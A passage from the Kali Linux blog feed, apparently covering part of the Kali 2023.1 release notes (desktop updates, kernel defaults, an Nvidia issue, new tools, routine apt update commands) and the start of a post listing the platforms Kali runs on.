&lt;li>Wallpaper - &lt;strong>Kali 1.1&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>Next you can see the screenshot of how the latest Kali looks, accompanied with the screenshots or images that they are reference of:&lt;/p>
&lt;p>&lt;strong>Boot menu&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/boot-wallpaper.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/boot-wallpaper.png" alt="Kali 2023.1 boot menu" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Login/Lock&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/login-wallpaper.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/login-wallpaper.png" alt="Kali 2023.1 login" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Desktop&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/desktop-wallpaper.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/desktop-wallpaper.png" alt="Kali 2023.1 desktop" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="all-new-wallpapers">All new wallpapers&lt;/h3>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/all-wallpapers.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/all-wallpapers.png" alt="All new desktop wallpapers" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Special thanks to &lt;a href="https://www.reddit.com/user/Albert-III-/">/u/Albert-III-&lt;/a> who &lt;a href="https://www.reddit.com/r/Kalilinux/comments/n71zqp/i_made_a_wallpaper_from_the_ascii_art_from/">originally created the background&lt;/a> used in the Kali Sticker wallpaper, and to &lt;a href="https://twitter.com/TJ_Null">TJ_Null&lt;/a> for creating the cool red stickers that inspirited the final version of the same image.&lt;/p>
&lt;p>Some extra variants of this image have been uploaded to &lt;a href="https://www.kali.org/tools/kali-wallpapers/#kali-wallpapers-legacy">kali-wallpapers-legacy&lt;/a> package, and can also be found &lt;a href="https://gitlab.com/kalilinux/packages/kali-wallpapers/-/tree/kali/master/legacy/backgrounds/kali-sticker">here&lt;/a>. These can be installed by running the following command in your Kali terminal:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y install kali-wallpapers-legacy
&lt;/code>&lt;/pre>
&lt;h2 id="desktop-updates">Desktop Updates&lt;/h2>
&lt;p>We have also make sure to update our three main desktop environments, Xfce, KDE and GNOME to be the latest versions. We then make sure Kali looks stunning using them, as long as putting in various tweaks.&lt;/p>
&lt;h3 id="xfce-418">Xfce 4.18&lt;/h3>
&lt;p>Nearly two years of development has gone into shaping &lt;strong>&lt;a href="https://www.xfce.org/about/tour418">Xfce 4.18&lt;/a>&lt;/strong>, which was formally released on December 15, 2022. It is the stable series follow-up to the Xfce 4.16 release that made its debut during Christmas of 2020.&lt;/p>
&lt;p>Main changes for Kali are found in:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Improved support for UI scaling&lt;/strong> - fixing many blurry icons while using HiDPI settings&lt;/li>
&lt;li>&lt;strong>Thunar&lt;/strong> - Xfce&amp;rsquo;s file-manager, received most of the attention:
&lt;ul>
&lt;li>&lt;strong>File color highlight&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Recursive search&lt;/strong> - integrated in the same window&lt;/li>
&lt;li>&lt;strong>Split view&lt;/strong>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/xfce-thunar-updates.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/xfce-thunar-updates.png" alt="Xfce 4.18 thunar updates" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>On our side, we have also &lt;strong>updated &lt;code>kali-undercover&lt;/code>&lt;/strong> mode to support the latest desktop changes, bringing some light improvements, and solving some minor bugs.&lt;/p>
&lt;h4 id="panel-profiles">Panel profiles&lt;/h4>
&lt;p>Another great addition for Xfce is the support for &lt;strong>panel profiles with import/export functionality&lt;/strong>. Now you can modify the desktop panels to your liking and save it somewhere safe (or even share them!). Apart from all the pre-built layouts that the app includes, we have added profiles for default &lt;code>Kali&lt;/code> settings and a new &lt;code>Kali compact&lt;/code> one, which better fits smaller displays.&lt;/p>
&lt;video class="video-shortcode" preload="metadata" autoplay muted loop>
&lt;source src="https://www.kali.org/blog/kali-linux-2023-1-release/videos/xfce-panel-profiles.webm" >
Your browser does not support the video tag.
&lt;/video>
&lt;h3 id="kde-plasma-527">KDE Plasma 5.27&lt;/h3>
&lt;p>&lt;strong>Kali now includes the new version 5.27 of KDE Plasma&lt;/strong>, which brings exciting new improvements to your desktop. You can learn more about the latest changes in the &lt;a href="https://kde.org/announcements/plasma/5/5.27.0/">Plasma 5.27 release announcement publication&lt;/a>.&lt;/p>
&lt;p>Some of the new features include a window tiling system, a more stylish app theme, cleaner and more usable tools, and widgets that give you more control over your machine. Additionally, Plasma 5.27 is a &lt;strong>Long Term Support&lt;/strong> version with tons of stability work and bug fixes.&lt;/p>
&lt;h4 id="new-tiling-system">New tiling system&lt;/h4>
&lt;p>You can tile a window dragging it while holding down the &lt;code>Shift&lt;/code> key. To create custom tile layouts, hold down the &lt;code>Meta&lt;/code> (&amp;quot;&lt;code>Windows&lt;/code>&amp;quot;) key, and then press &lt;code>T&lt;/code>.&lt;/p>
&lt;video class="video-shortcode" preload="metadata" autoplay muted loop>
&lt;source src="https://www.kali.org/blog/kali-linux-2023-1-release/videos/plasma-tiling.webm" >
Your browser does not support the video tag.
&lt;/video>
&lt;h3 id="gnome">GNOME&lt;/h3>
&lt;p>GNOME&amp;rsquo;s next big update is being released soon, but for now, we still have to wait until Kali&amp;rsquo;s next release. However, that has not stopped us from introducing some improvements to one of the most popular Linux desktops.&lt;/p>
&lt;p>We observed that in Xfce and KDE desktops, one can quickly open a terminal in the file-manager&amp;rsquo;s current folder by just pressing the &lt;code>F4&lt;/code> key. To make all 3 main Kali desktops behave in a similar manner, we have configured the same functionality for Nautilus, GNOME&amp;rsquo;s file-manager.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/gnome-open-terminal-here.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/gnome-open-terminal-here.png" alt="GNOME open terminal here F4 shortcut" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="default-kernel-settings">Default Kernel Settings&lt;/h2>
&lt;p>We updated some of our kernel default values. These are rather minor changes, mainly for usability, based on user feedback. If needed, those settings can be modified easily with &lt;code>kali-tweaks&lt;/code>.&lt;/p>
&lt;p>Those settings are:&lt;/p>
&lt;ul>
&lt;li>&lt;em>No more privileged ports&lt;/em>: no need to be root to run a program that binds to a port below 1024 (ported from &lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/">Kali 2021.2&lt;/a>)&lt;/li>
&lt;li>&lt;em>&lt;code>dmesg&lt;/code> is now unrestricted by defaults&lt;/em>: no need to be root to run &lt;code>dmesg&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>If you are curious to know what make the Kali kernel different from the usual, we added a documentation page &lt;a href="https://www.kali.org/docs/general-use/kernel-configuration/">Kernel Configuration&lt;/a>.&lt;/p>
&lt;h2 id="known-issues">Known Issues&lt;/h2>
&lt;p>For Nvidia users, this release might not be the best ever. The 525 series of Nvidia drivers is known to break with some GPU models. We do not know which one exactly, but there are various reports from basically &lt;strong>all the Linux distributions&lt;/strong> that started to distribute those drivers, including Debian, Ubuntu and Arch Linux. We are all impacted, and Kali Linux is no exception.&lt;/p>
&lt;p>Symptoms include a system that is slow, unresponsive, or completely frozen. If you are one of those unlucky users, your best bet is to uninstall the Nvidia drivers, then reboot:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt purge &amp;quot;*nvidia*&amp;quot;
[...]
┌──(kali㉿kali)-[~]
└─$ sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You might need to boot in Recovery Mode so that you can get your hand on a working console and run the command above.&lt;/p>
&lt;p>If you want more details about this issue, check the reports on the Nvidia forums:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://forums.developer.nvidia.com/t/error-gpu-idling-display-engine-timed-out-since-524-x-and-linux-6-1-5/242543">&amp;ldquo;ERROR: GPU:0: Idling display engine timed out:&amp;rdquo; since 524.X and linux 6.1.5&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://forums.developer.nvidia.com/t/external-monitor-via-hdmi-drops-to-1fps-after-update-to-6-1-0-kali5-amd64/245193">External monitor via HDMI drops to 1FPS after update to 6.1.0-kali5-amd64&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="miscellaneous">Miscellaneous&lt;/h2>
&lt;p>Below are a few other things which have been updated in Kali, which we are calling out for not having as much detail.&lt;/p>
&lt;ul>
&lt;li>In &lt;a href="https://www.debian.org/devel/debian-installer/News/2023/20230219">Debian 12&lt;/a>, they have included a &lt;code>non-free-firmware&lt;/code> component. We have followed suit and added this to our build-scripts for Kali 2023.1. Therefore all fresh installs of Kali 2023.1, will have seamless upgrades going forwards. &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">Upgrading from previous versions will require an additional step&lt;/a> of adding it to your sources.&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/">kali.org&lt;/a> will now respect the desktop setting for &amp;ldquo;dark mode&amp;rdquo; and automatically toggle between them depending on the OS preferences. Colors of the dark mode have also been improved for better readability and contrast.&lt;/li>
&lt;li>The broken speech synthesizer and Metasploit-framework and libssl1.1/OpenSSL v3 issues stated from our last release have been fixed.&lt;/li>
&lt;li>We have been also working on paying back some internal technical debt to our infrastructure.&lt;/li>
&lt;li>We have been working with numerous mirror administrators doing various maintenance checks, who are very kindly running our community mirrors!&lt;/li>
&lt;li>We have made public our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-wsl-app">WSL application&lt;/a> repository. Previously it was just the rootfs part. This is now the application side, which is the launcher for the rootfs.&lt;/li>
&lt;/ul>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It would not be a Kali release if there were not any new tools added! A quick run down of what has been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/arkime">Arkime&lt;/a> - large-scale, open-source, indexed packet capture and search tool&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/cyberchef">CyberChef&lt;/a> - Cyber Swiss Army Knife&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/dscan/">Dscan&lt;/a> - Distributed Nmap, wrapper around Nmap to allow distributed network enumeration&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/kubernetes-helm/">Kubernetes-Helm&lt;/a> - managing Charts&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/pack2">PACK2&lt;/a> - replacement for iphelix&amp;rsquo;s PACK&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/redeye/">Redeye&lt;/a> - help you manage your data during a pentest operation in the most efficient and organized way.&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/unicrypto">Unicrypto&lt;/a> - Unified interface for some crypto algos&lt;/li>
&lt;/ul>
&lt;p>&lt;em>There have also been numerous packages updates and new libraries as well. We also bump the Kali kernel to 6.1!&lt;/em>&lt;/p>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>There has been some new activity with Kali NetHunter recently.&lt;/p>
&lt;p>Following on from &lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/">Kali 2022.4&lt;/a>, we have added Internal bluetooth support for our current smart watch device, TicWatch Pro.&lt;/p>
&lt;p>There has been also &lt;a href="https://nethunter.kali.org/kernels.html">new kernel&lt;/a> support added for the following devices &amp;amp; ROMs:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Motorola X4&lt;/strong> on &lt;strong>LineageOS 20&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Samsung Galaxy S20 FE 5G&lt;/strong> using &lt;strong>OneUI 5.0&lt;/strong> &lt;em>(Android 13)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>We have also now got full support for &lt;strong>LG V20&lt;/strong> running &lt;strong>LineageOS 18.1&lt;/strong>.&lt;/p>
&lt;p>And finally, there has been some additional kernel patches added to our &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-kernel-builder">kernel-builder&lt;/a>.&lt;/p>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>&lt;a href="https://www.kali.org/docs/arm/radxa-zero-emmc/">Radxa Zero&lt;/a> is the star of the show for this quarter getting the most of the attention for kali-arm SBC this release:&lt;/p>
&lt;ul>
&lt;li>Radxa Zero gets larger partition for eMMC booting (16MB -&amp;gt; 32MB)&lt;/li>
&lt;li>Radxa Zero gets audio support!&lt;/li>
&lt;li>Improve building when using ARM64&lt;/li>
&lt;li>Where possible, switch from &lt;code>debootstrap&lt;/code> to &lt;code>mmdebstrap&lt;/code> to generate chroot&lt;/li>
&lt;/ul>
&lt;h2 id="kali-documentation-updates">Kali Documentation Updates&lt;/h2>
&lt;p>Our &lt;a href="https://www.kali.org/docs/">Kali documentation&lt;/a> has had various updates to existing pages as well as the following new pages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/introduction/kali-linux-image-overview/">Kali Linux image overview&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/general-use/kernel-configuration/">Kernel Configuration&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/installation/create-bootable-media/">Making a Kali Bootable USB Drive&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="kali-blog-recap">Kali Blog Recap&lt;/h2>
&lt;p>Since our last release, we did the following &lt;a href="https://www.kali.org/blog/">blog posts&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-is-everywhere/">Kali Linux (is) Everywhere!&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>These are &lt;strong>people from the public who have helped Kali&lt;/strong> and the team for the last release. And we want to praise them for their work &lt;em>(we like to give credit where due!)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://arszilla.com/">Arszilla&lt;/a> for maintaining the &lt;code>kali-desktop-i3&lt;/code> metapackage.&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/turbopapero">Daniele Faugiana&lt;/a> for helping with packaging Rizin&amp;rsquo;s Ghidra plugin.&lt;/li>
&lt;li>&lt;code>snowcrash#0001&lt;/code> on the Kali discord, being super helpful with sharing his personal notes when helping others.&lt;/li>
&lt;li>The entire &lt;a href="https://discord.kali.org/">Kali Linux &amp;amp; Friends&lt;/a> moderation team!&lt;/li>
&lt;/ul>
&lt;p>The following people have helped with our documentation:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/moshekaplan">Moshe Kaplan&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Salty_">Salty_&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/skumar141">Saurav Kumar&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/vladimirprokopenko87">Vladimir Prokopenko&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/snowcra5h">Snowcrash&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/X0RW3LL">X0RW3LL&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;hr>
&lt;h2 id="kali-team-discord-chat--reddit-ama">Kali Team Discord Chat &amp;amp; Reddit AMA&lt;/h2>
&lt;p>The next &lt;a href="https://discord.kali.org/">Kali Discord&lt;/a> session will happen tomorrow, &lt;strong>Tuesday, 14th March 2023 16:00 -&amp;gt; 17:00 &lt;a href="https://time.is/UTC">UTC/+0 GMT&lt;/a>&lt;/strong>.&lt;/p>
&lt;p>&lt;em>Please note, we will not be recording these sessions. These are live sessions only.&lt;/em>&lt;/p>
&lt;p>If voice chat is not your thing, or its to short notice, we also have a special one-off &amp;ldquo;Ask Me Anything&amp;rdquo; (AMA) happening on &lt;a href="https://www.reddit.com/r/offensive_security/comments/11fifxl/hi_im_g0tmi1k_lead_developer_for_kali_linux/">reddit.com/r/offensive_security&lt;/a>, &lt;strong>Thursday, 16th March 2023 16:00 -&amp;gt; 18:00 &lt;a href="https://time.is/UTC">UTC/+0 GMT&lt;/a>&lt;/strong>.&lt;/p>
&lt;h2 id="get-kali-linux-20231">Get Kali Linux 2023.1&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Go &lt;a href="https://www.kali.org/get-kali/">get Kali&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you will have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware&amp;quot; | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2023.1 We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2023.1&amp;quot;
VERSION_ID=&amp;quot;2023.1&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali2 (2023-02-23)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.1.0-kali5-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p>
&lt;p>Want to keep up-to-date more easily? We have a &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> and &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a> of our &lt;a href="https://www.kali.org/blog/">blog&lt;/a>!&lt;/p></description></item><item><title>Kali Linux (is) Everywhere!</title><link>https://www.kali.org/blog/kali-linux-is-everywhere/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-is-everywhere/</guid><pubDate>Wed, 11 Jan 2023 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-is-everywhere/images/kali-everywhere-banner.jpg" type="image/jpg"/><description>&lt;p>One of the primary goals of Kali Linux is to put the tools you need as close to you as possible. Over the years this has resulted in a number of different ways to get Kali, but not everyone knows about all the options! In this post we are going to do an overview of different options you have for running Kali, and where you can go for more information for each option.&lt;/p>
&lt;p>You should keep in mind as we review options what will be best for you, in your specific use case. What do you intend to use Kali for? Where will you be when you need access to Kali? One of the items that is unique to Kali is most instances are actually pretty short lived, and replaced often. For instance, in the penetration testing space it is considered best practice by many to wipe your install and start over with each new customer or assessment. On the other hand, there are instances of Kali that are around for a very long time; for instance, running scanning engines for enterprises.&lt;/p>
&lt;p>&lt;strong>You won&amp;rsquo;t find a singular &amp;ldquo;right&amp;rdquo; way to interact with Kali, you have to determine what works best for you. Which is why we provide so many options&lt;/strong>. Let&amp;rsquo;s look at an overview of all of the various ways to get Kali. Should anything seem interesting, the table contains hyperlinks directly to our documentation on a platform where available.&lt;/p>
&lt;h2 id="platform-overview">Platform Overview&lt;/h2>
&lt;p>Please note that this is the state of Kali Linux at the time of publishing. For a consistently updated table, please check &lt;a href="https://www.kali.org/docs/introduction/kali-linux-image-overview/">here&lt;/a>.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Installations&lt;/th>
&lt;th>Virtual Machines&lt;/th>
&lt;th>Cloud&lt;/th>
&lt;th>Containers&lt;/th>
&lt;th>USB&lt;/th>
&lt;th>ARM (Single Board Computer)&lt;/th>
&lt;th>Mobile&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;a href="https://www.kali.org/docs/installation/hard-disk-install/">Standard Single-boot&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/">VirtualBox&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/cloud/aws/">Amazon AWS&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/containers/using-kali-docker-images/">Docker&lt;/a>&lt;/td>
&lt;td>Live boot - &lt;a href="https://www.kali.org/docs/usb/live-usb-install-with-linux/">Linux&lt;/a> / &lt;a href="https://www.kali.org/docs/usb/live-usb-install-with-mac/">macOS&lt;/a> / &lt;a href="https://www.kali.org/docs/usb/live-usb-install-with-windows/">Windows&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/arm/gateworks-newport/">Gateworks Newport&lt;/a> / &lt;a href="https://www.kali.org/docs/arm/gateworks-ventana/">Gateworks Ventana&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/nethunter/installing-nethunter/">Generic NetHunter&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>macOS &lt;a href="https://www.kali.org/docs/installation/hard-disk-install-on-mac/">Single-Boot&lt;/a> / &lt;a href="https://www.kali.org/docs/installation/dual-boot-kali-with-mac/">Dual-boot&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/import-premade-virtualbox/">Import VirtualBox&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/cloud/azure/">Microsoft Azure&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/containers/kalilinux-lxc-images/">LXC/LXD&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/usb/usb-persistence/">Persistence&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/arm/pinebook/">Pinebook&lt;/a> / &lt;a href="https://www.kali.org/docs/arm/pinebook-pro/">Pinebook Pro&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/nethunter/#10-nethunter-editions">Generic NetHunter Lite&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://www.kali.org/docs/installation/dual-boot-kali-with-linux/">Dual-booting Linux&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/install-vmware-guest-vm/">VMware&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/cloud/digitalocean/">Digital Ocean&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/containers/using-kali-podman-images/">Podman&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/usb/usb-persistence-encryption/">Encrypted Persistence&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/arm/raspberry-pi/">Raspberry Pi 1 (Original)&lt;/a> / &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-2/">2 (1.1)&lt;/a> / &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-3/">3&lt;/a> / &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-4/">4&lt;/a> / &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-400/">400&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-rootless/">Generic NetHunter Rootless&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://www.kali.org/docs/installation/dual-boot-kali-with-windows/">Dual-booting Windows&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/import-premade-vmware/">Import VMware&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/cloud/linode/">Linode&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/install-proxmox-guest-vm/#kali-as-a-proxmox-ct-containerization">Proxmox&lt;/a>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero/">Raspberry Pi Zero&lt;/a> / &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w/">Zero W&lt;/a> / &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-2-w/">Zero 2 W&lt;/a>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://www.kali.org/docs/usb/usb-standalone-encrypted/">Installing directly to USB&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/install-hyper-v-guest-vm/">Hyper-V&lt;/a>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/wsl/wsl-preparations/">WSL&lt;/a>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/arm/usb-armory-mkii/">USB Armory MKII&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/get-kali/#kali-mobile">NetHunter Pro&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://www.kali.org/docs/installation/btrfs/">Adding BTRFS snapshots&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/install-parallels-guest-vm/">Parallels&lt;/a>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://www.kali.org/docs/installation/network-pxe/">Over a network (PXE)&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/install-proxmox-guest-vm/">Proxmox&lt;/a>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>For more devices, see &lt;a href="https://arm.kali.org/">here&lt;/a>&lt;/td>
&lt;td>For more devices, see &lt;a href="https://nethunter.kali.org/">here&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/install-qemu-guest-vm/">QEMU/Libvirt&lt;/a>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/install-utm-guest-vm/">UTM&lt;/a>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;/td>
&lt;td>&lt;a href="https://www.kali.org/docs/virtualization/install-vagrant-guest-vm/">Vagrant&lt;/a>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>As we can see, there are a lot of options. This can be quite difficult to look at initially. However, if we keep in mind our needs we can easily figure out what image we want to download or even learn about a new image:&lt;/p>
&lt;ul>
&lt;li>Are we going to be doing an on-site pentest and need to use a dedicated Kali instance?&lt;/li>
&lt;li>Are we going to want a leave behind system to connect to later?&lt;/li>
&lt;li>How long is the instance going to stay around?&lt;/li>
&lt;li>Are we using it for personal use?&lt;/li>
